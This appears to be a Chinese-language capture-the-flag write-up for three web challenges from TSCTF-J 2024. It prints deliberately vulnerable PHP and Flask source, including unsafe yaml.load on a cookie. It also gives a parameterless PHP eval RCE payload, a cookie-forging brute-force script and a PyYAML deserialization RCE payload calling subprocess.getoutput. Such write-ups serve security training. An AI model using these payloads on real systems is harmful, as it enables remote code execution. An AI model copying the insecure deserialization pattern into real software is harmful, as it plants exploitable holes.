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TSCTF-J 2024秋部分wp

时间：2024-09-23 10:23:06浏览次数：9  
标签：guess color request 2024 session wp TSCTF password data

RCE ME !!!

一道签到,无参数RCE.

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
    $cmd= $_GET['cmd'];
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/|zip:\/\//i', $cmd)) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $cmd)) {
            if (!preg_match('/pwd|tac|cat|chr|ord|ls|dir|conv|info|hex|bin|rand|array|source|file|cwd|dfined|system|assert|sess/i',$cmd)){
                @eval($cmd);
            }
            else{
                die("不是,哥们！");
            }
        }
        else{
            die("真的是这样吗？");
        }
    }
    else{
        die("是这样的吗？");
    }
}

实际上看到第二个preg就会意识到考察的是无参数rce,使用payload如下就能打

eval(end(current(get_defined_vars())));&a=phpinfo();

flag放在了环境变量中

alpaca_search

本来是没有这道题的,但是在比赛时发现没有发包题.去年好歹有个十年之约,索性临场搞一个.
后端逻辑如下:

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sys

app = Flask(__name__)
app.secret_key = 'super_secret_key'

# 使用的用户凭证
valid_username = "admin"
valid_password = "guest"

# 伪造的flag存储文件
FLAG_PATH = "flag"

# 基础页面样式
base_styles = '''
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .container {
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            max-width: 400px;
            width: 100%;
        }
        h2 {
            text-align: center;
            color: #333;
        }
        form {
            display: flex;
            flex-direction: column;
        }
        input[type="text"], input[type="password"], input[type="number"] {
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
        }
        input[type="submit"] {
            background-color: #5cb85c;
            color: white;
            padding: 10px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 10px;
        }
        input[type="submit"]:hover {
            background-color: #4cae4c;
        }
        p {
            color: #666;
            font-size: 14px;
            text-align: center;
        }
        .error {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
        .rules {
            font-size: 14px;
            margin-bottom: 20px;
            color: #555;
        }
    </style>
'''

# 登录页面HTML
login_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Login</h2>
        <p>Please log in to find the alpaca.</p>
        <form method="POST" action="/login">
            <input type="text" name="username" placeholder="Username" required><br>
            <input type="password" name="password" placeholder="Password" required><br>
            <input type="submit" value="Login">
        </form>
        {% if error %}
            <p class="error">{{ error }}</p>
        {% endif %}
    </div>
    '''

# 猜数字页面HTML
guess_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Search the alpaca</h2>
        <div class="rules">
            <p>Game Rules:</p>
            <ol>
                <li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li>
                <li>If you guess the correct number 1000 times, you will receive the flag.</li>
                <li>Oh, I do think you can find him</li>
            </ol>
        </div>
        <form method="POST" action="/guess">
            <input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br>
            <input type="submit" value="Submit">
        </form>
        <p>{{ message }}</p>
    </div>
    '''

# 修正解码前的 Base64 字符串填充
def pad_base64(data):
    missing_padding = len(data) % 4
    if (missing_padding):
        data += '=' * (4 - missing_padding)
    return data


@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if username == valid_username and password == valid_password:
            user_data = [{'username': username, 'password': password}]
            serialized_data = yaml.dump(user_data)
            encoded_data = base64.b64encode(serialized_data.encode()).decode()
            resp = make_response(redirect(url_for('guess')))
            resp.set_cookie('session', encoded_data)
            return resp
        else:
            error = "Invalid credentials"

    return render_template_string(login_page, error=error)

@app.route('/guess', methods=['GET', 'POST'])
def guess():
    session_data = request.cookies.get('session')
    if not session_data:
        return redirect(url_for('login'))

    debug_info = ""
    try:
        # 修正解码前的 Base64 字符串
        session_data = pad_base64(session_data)

        # 处理 URL 编码后的 Base64 字符串
        session_data = session_data.replace('-', '+').replace('_', '/')

        # Base64 解码
        decoded_data = base64.b64decode(session_data.encode()).decode()

        # HTML 实体解码
        unescaped_data = html.unescape(decoded_data)

        # YAML 反序列化
        user_info = yaml.load(unescaped_data)  # 使用完整的 Loader

        # 将反序列化后的结果转换为字符串
        debug_info += f"\n{user_info}\n"

    except Exception as e:
        debug_info = f"Error during session processing: {str(e)}"

    message = ""
    if request.method == 'POST':
        try:
            guess = int(request.form['guess'])
            correct_number = random.randint(0, 99)  # 修改随机数范围为0到99
            if guess == correct_number:
                if request.cookies.get('counter'):
                    counter = int(request.cookies.get('counter'))
                else:
                    counter = 0

                counter += 1

                if counter >= 1000:
                    with open(FLAG_PATH, 'r') as f:
                        flag = f.read()
                    return flag
                else:
                    resp = make_response(render_template_string(guess_page, message=f'Correct! Counter: {counter}\n{debug_info}'))
                    resp.set_cookie('counter', str(counter))
                    return resp
            else:
                message = "Incorrect guess. Try again."
        except ValueError:
            message = "Invalid input. Please enter a number between 0 and 99."

    return render_template_string(guess_page, message=message + "\n" + debug_info)

# 根路径重定向到登录页面
@app.route('/')
def index():
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

首先admin和guest弱密码登录.然后去进行游戏.
不难发现在对了一次后包中的cookie存在counter.直接伪造cookie进行发包,写出脚本如下.

import requests

url = "http://challenges.hazmat.buptmerak.cn:21762/guess"
header = {
        'Host': 'challenges.hazmat.buptmerak.cn:20761',
        'Cookie': f"session = LSB7cGFzc3dvcmQ6IGd1ZXN0LCB1c2VybmFtZTogYWRtaW59Cg ==;counter = 999"
    }

a = ''
while True:
    for i in range(0, 100):
        data = {
            'guess': f'{i}'
        }

        response = requests.post(url, headers=header, data=data)
        a = response.text
        if 'Tsctf' in a:
            break
    if 'Tsctf' in a:
        break

print(a)

alpaca_search_again

后端代码逻辑如下

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sys

app = Flask(__name__)
app.secret_key = 'super_secret_key'

# 使用的用户凭证
valid_username = "admin"
valid_password = "admin"

# 伪造的flag存储文件
FLAG_PATH = "flag"

# 基础页面样式
base_styles = '''
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .container {
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            max-width: 400px;
            width: 100%;
        }
        h2 {
            text-align: center;
            color: #333;
        }
        form {
            display: flex;
            flex-direction: column;
        }
        input[type="text"], input[type="password"], input[type="number"] {
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
        }
        input[type="submit"] {
            background-color: #5cb85c;
            color: white;
            padding: 10px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 10px;
        }
        input[type="submit"]:hover {
            background-color: #4cae4c;
        }
        p {
            color: #666;
            font-size: 14px;
            text-align: center;
        }
        .error {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
        .rules {
            font-size: 14px;
            margin-bottom: 20px;
            color: #555;
        }
    </style>
'''

# 登录页面HTML
login_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Login</h2>
        <p>Please log in to find the alpaca.</p>
        <form method="POST" action="/login">
            <input type="text" name="username" placeholder="Username" required><br>
            <input type="password" name="password" placeholder="Password" required><br>
            <input type="submit" value="Login">
        </form>
        {% if error %}
            <p class="error">{{ error }}</p>
        {% endif %}
    </div>
    '''

# 猜数字页面HTML
guess_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Search the alpaca</h2>
        <div class="rules">
            <p>Game Rules:</p>
            <ol>
                <li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li>
                <li>If you guess the correct number 1000 times, you will receive the flag.</li>
                <li>Oh, I do think you can find him</li>
            </ol>
        </div>
        <form method="POST" action="/guess">
            <input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br>
            <input type="submit" value="Submit">
        </form>
        <p>{{ message }}</p>
    </div>
    '''

# 修正解码前的 Base64 字符串填充
def pad_base64(data):
    missing_padding = len(data) % 4
    if (missing_padding):
        data += '=' * (4 - missing_padding)
    return data


@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if username == valid_username and password == valid_password:
            user_data = [{'username': username, 'password': password}]
            serialized_data = yaml.dump(user_data)
            encoded_data = base64.b64encode(serialized_data.encode()).decode()
            resp = make_response(redirect(url_for('guess')))
            resp.set_cookie('session', encoded_data)
            return resp
        else:
            error = "Invalid credentials"

    return render_template_string(login_page, error=error)

@app.route('/guess', methods=['GET', 'POST'])
def guess():
    session_data = request.cookies.get('session')
    if not session_data:
        return redirect(url_for('login'))

    debug_info = ""
    try:
        # 修正解码前的 Base64 字符串
        session_data = pad_base64(session_data)

        # 处理 URL 编码后的 Base64 字符串
        session_data = session_data.replace('-', '+').replace('_', '/')

        # Base64 解码
        decoded_data = base64.b64decode(session_data.encode()).decode()

        # HTML 实体解码
        unescaped_data = html.unescape(decoded_data)

        # YAML 反序列化
        user_info = yaml.load(unescaped_data)  # 使用完整的 Loader

        # 将反序列化后的结果转换为字符串
        debug_info += f"\n{user_info}\n"

    except Exception as e:
        debug_info = f"Error during session processing: {str(e)}"

    message = ""
    if request.method == 'POST':
        try:
            guess = int(request.form['guess'])
            message = "Incorrect guess. Try again."
        except ValueError:
            message = "Invalid input. Please enter a number between 0 and 99."

    return render_template_string(guess_page, message=message + "\n" + debug_info)

# 根路径重定向到登录页面
@app.route('/')
def index():
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

和alpaca_search相比删除了后端进行回合计数的逻辑.也就说,靠counter去跳过回合不可用了.
我们发现cookie中存在session为LSB7cGFzc3dvcmQ6IGFkbWluLCB1c2VybmFtZTogYWRtaW59Cg==,base64解码如下
image
熟悉的话会发现这是个yaml数据,显然有说法(有时也会触发pyyaml报错)
打pyyaml<5.1版本RCE.
由于需要在web端有回显,所以需要捕获标准输出而不能将其输出在控制台.选用getoutput(或check_output).

!!python/object/apply:subprocess.getoutput ["ls"]

如果你先做alpaca_search_again,后做alpaca_search的话,那么会发现pyyaml两个都会通.然而实际不会有人这么做的

标签：guess,color,request,2024,session,wp,TSCTF,password,data
From： https://www.cnblogs.com/meraklbz/p/18426538

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